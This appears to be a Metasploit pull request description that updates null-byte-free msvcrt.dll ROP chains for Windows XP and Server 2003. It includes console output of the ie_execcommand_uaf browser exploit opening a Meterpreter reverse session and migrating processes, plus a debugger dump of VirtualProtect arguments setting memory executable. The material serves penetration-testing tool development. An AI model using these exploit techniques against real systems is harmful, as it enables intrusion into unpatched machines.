Update msvcrt.dll ROP chains for XP & Win2k3

This updates the msvcrt.dll ROP chain for Win XP and Win2k3. They reason an update is needed is because often property-based sprays do not allow null bytes, as a result of that we often have to use a different set of null-byte-free ROPs to write the exploit.

The XP ROP is pretty easy to test since many browser exploits use this. For example, the following is a demo of ie_execcommand_uaf using the updated msvcrt ROP against IE8 on Win XP SP3:

	msf exploit(ie_execcommand_uaf) > [*] 10.0.1.5         ie_execcommand_uaf - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
	[*] 10.0.1.5         ie_execcommand_uaf - Redirecting to gsiza.html
	[*] 10.0.1.5         ie_execcommand_uaf - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
	[*] 10.0.1.5         ie_execcommand_uaf - Loading gsiza.html
	[*] 10.0.1.5         ie_execcommand_uaf - Using msvcrt ROP
	[*] 10.0.1.5         ie_execcommand_uaf - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
	[*] 10.0.1.5         ie_execcommand_uaf - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
	[*] 10.0.1.5         ie_execcommand_uaf - Loading svFHNg.html
	[*] 10.0.1.5         ie_execcommand_uaf - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
	[*] Sending stage (770048 bytes) to 10.0.1.5
	[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.5:4192) at 2013-10-01 16:23:28 -0500
	[*] Session ID 1 (10.0.1.76:4444 -> 10.0.1.5:4192) processing InitialAutoRunScript 'migrate -f'
	[*] Current server process: iexplore.exe (1616)
	[*] Spawning notepad.exe process to migrate to
	[+] Migrating to 1388
	[+] Successfully migrated to process

Proof that ie_execcommand_uaf uses the msvcrt ROP from RopDB:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ie_execcommand_uaf.rb#L141

For Windows Server 2003, I don't really have a vuln box to test a similar scenario.  So I ended up using the same approach similar to PR #2442.  If you're using the same manual approach, at Kernel32!VirtualProtect after ROP, you should see the arguments like this (captured in Win2k3):

	02170054   FFFFFFFF  ÿÿÿÿ  |hProcess = FFFFFFFF
	02170058   02170084  „.  |Address = 02170084
	0217005C   00000500  ...  |Size = 500 (1280.)
	02170060   00000040  @...  |NewProtect = PAGE_EXECUTE_READWRITE
	02170064   77BEF001  ð¾w  \pOldProtect = msvcrt.77BEF001
	
Also, the Win2k3 ROP chain is based on Corelan's:
https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2